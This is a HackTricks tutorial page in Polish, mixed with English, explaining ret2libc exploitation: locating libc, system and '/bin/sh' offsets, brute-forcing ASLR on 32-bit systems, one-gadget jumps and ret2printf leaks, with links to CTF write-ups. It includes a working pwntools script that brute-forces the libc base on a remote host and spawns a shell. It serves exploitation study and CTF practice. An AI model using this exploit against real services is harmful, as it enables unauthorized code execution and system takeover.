Ret2lib
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.
Podstawowe informacje
Istota Ret2Libc polega na przekierowaniu przepływu wykonania podatnego programu do funkcji znajdującej się w bibliotece współdzielonej (np. system, execve, strcpy) zamiast uruchamiać dostarczony przez atakującego shellcode na stosie. Atakujący tworzy payload, który modyfikuje adres powrotu na stosie tak, aby wskazywał na wybraną funkcję biblioteczną, jednocześnie ustawiając niezbędne argumenty zgodnie z konwencją wywołań.
Przykładowe kroki (uproszczone)
- Uzyskaj adres funkcji do wywołania (np. system) oraz polecenie do wykonania (np. /bin/sh)
- Wygeneruj łańcuch ROP, aby przekazać pierwszy argument wskazujący na łańcuch polecenia i przekierować przepływ wykonania do funkcji
Znajdowanie adresów
- Zakładając, że używana
libcpochodzi z bieżącej maszyny, możesz znaleźć miejsce, w którym zostanie załadowana w pamięci, za pomocą:
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
Jeśli chcesz sprawdzić, czy ASLR zmienia adres libc, możesz zrobić:
for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
- Znając używaną libc, możliwe jest także znalezienie offsetu do funkcji
systemza pomocą:
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
- Znając używaną libc, możliwe jest również znalezienie offsetu do łańcucha
/bin/shza pomocą:
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
Korzystanie z gdb-peda / GEF
Znając używaną libc, można również użyć Peda lub GEF, aby uzyskać adres funkcji system, funkcji exit oraz łańcucha znaków /bin/sh :
p system
p exit
find "/bin/sh"
Korzystanie z /proc/<PID>/maps
Jeśli proces tworzy children za każdym razem, gdy się z nim komunikujesz (serwer sieciowy), spróbuj read tego pliku (prawdopodobnie będziesz musiał być root).
Tutaj możesz znaleźć dokładnie, gdzie libc jest załadowana wewnątrz procesu oraz gdzie będzie załadowana dla każdego child procesu.
.png)
W tym przypadku jest załadowana w 0xb75dc000 (To będzie base address of libc)
Unknown libc
Może się zdarzyć, że nie znasz libc, którą ładuje binarka (ponieważ może być umieszczona na serwerze, do którego nie masz dostępu). W takim przypadku możesz wykorzystać podatność, aby leak some addresses i ustalić, która biblioteka libc jest używana:
I możesz znaleźć szablon pwntools do tego w:
Know libc with 2 offsets
Sprawdź stronę https://libc.blukat.me/ i użyj kilku adresów funkcji z libc, aby dowiedzieć się, jaka wersja jest używana.
Bypassing ASLR in 32 bits
These brute-forcing attacks are only useful for 32bit systems.
- Jeśli exploit jest lokalny, możesz spróbować brute-force the base address of libc (useful for 32bit systems):
for off in range(0xb7000000, 0xb8000000, 0x1000):
- Jeśli atakujesz zdalny serwer, możesz spróbować brute-force the address of the
libcfunctionusleep, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie odpowiedź serwera opóźnia się o dodatkowe 10s, znalazłeś adres tej funkcji.
One Gadget
Uruchom powłokę, skacząc bezpośrednio do jednego konkretnego adresu w libc:
x86 Ret2lib Code Example
W tym przykładzie ASLR brute-force jest zintegrowany w kodzie, a podatny program binarny znajduje się na zdalnym serwerze:
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline()
for off in range(0xb7000000, 0xb8000000, 0x1000):
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE, could be address of exit()
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive()
Przykład kodu x64 Ret2lib
Sprawdź przykład z:
Przykład ARM64 Ret2lib
W przypadku ARM64 instrukcja ret skacze tam, gdzie wskazuje rejestr x30, a nie tam, gdzie wskazuje rejestr stosu. Dlatego jest to trochę bardziej skomplikowane.
Również na ARM64 instrukcja robi to, co robi (nie można skakać w środku instrukcji i przekształcać ich w nowe).
Zobacz przykład w:
Ret-into-printf (lub puts)
To pozwala leak information from the process poprzez wywołanie printf/puts z określonymi danymi przekazanymi jako argument. Na przykład umieszczenie adresu puts w GOT w wywołaniu puts spowoduje leak the address of puts in memory.
Ret2printf
To w zasadzie oznacza wykorzystanie Ret2lib to transform it into a printf format strings vulnerability przez użycie ret2lib do wywołania printf z wartościami służącymi do exploita (brzmi bezużytecznie, ale możliwe):
Inne przykłady i odniesienia
- https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html
- Ret2lib — mając leak do adresu funkcji w libc, używając one gadget
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64-bit, ASLR włączony, ale brak PIE — pierwszym krokiem jest wypełnienie overflow aż do bajtu 0x00 canary, aby następnie wywołać puts i go leak. Mając canary tworzy się ROP gadget, który wywoła puts, aby leak the address of puts from the GOT, a następnie ROP gadget do wywołania
system('/bin/sh') - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64-bit, ASLR włączony, brak canary, stack overflow w main z funkcji potomnej. ROP gadget do wywołania puts aby leak the address of puts from the GOT, a następnie wywołanie one gadget.
- https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html
- 64-bit, brak PIE, brak canary, brak relro, nx. Używa funkcji write aby leak the address of write (libc) i wywołać one gadget.
- https://guyinatuxedo.github.io/14-ret_2_system/asis17_marymorton/index.html
- Używa format stringa aby leak the canary ze stosu oraz buffer overflow aby wywołać system (jest w GOT) z adresem
/bin/sh. - https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html
- 32-bit, brak relro, brak canary, nx, PIE. Nadużycie złego indeksowania aby leak addresses of libc and heap ze stosu. Nadużycie buffer overflow aby zrobić ret2lib wywołujący
system('/bin/sh')(adres heap jest potrzebny do obejścia check).
Tip
Ucz się i ćwicz Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się i ćwicz Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Wsparcie dla HackTricks
- Sprawdź plany subskrypcyjne!
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Dziel się trikami hackingowymi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów na githubie.


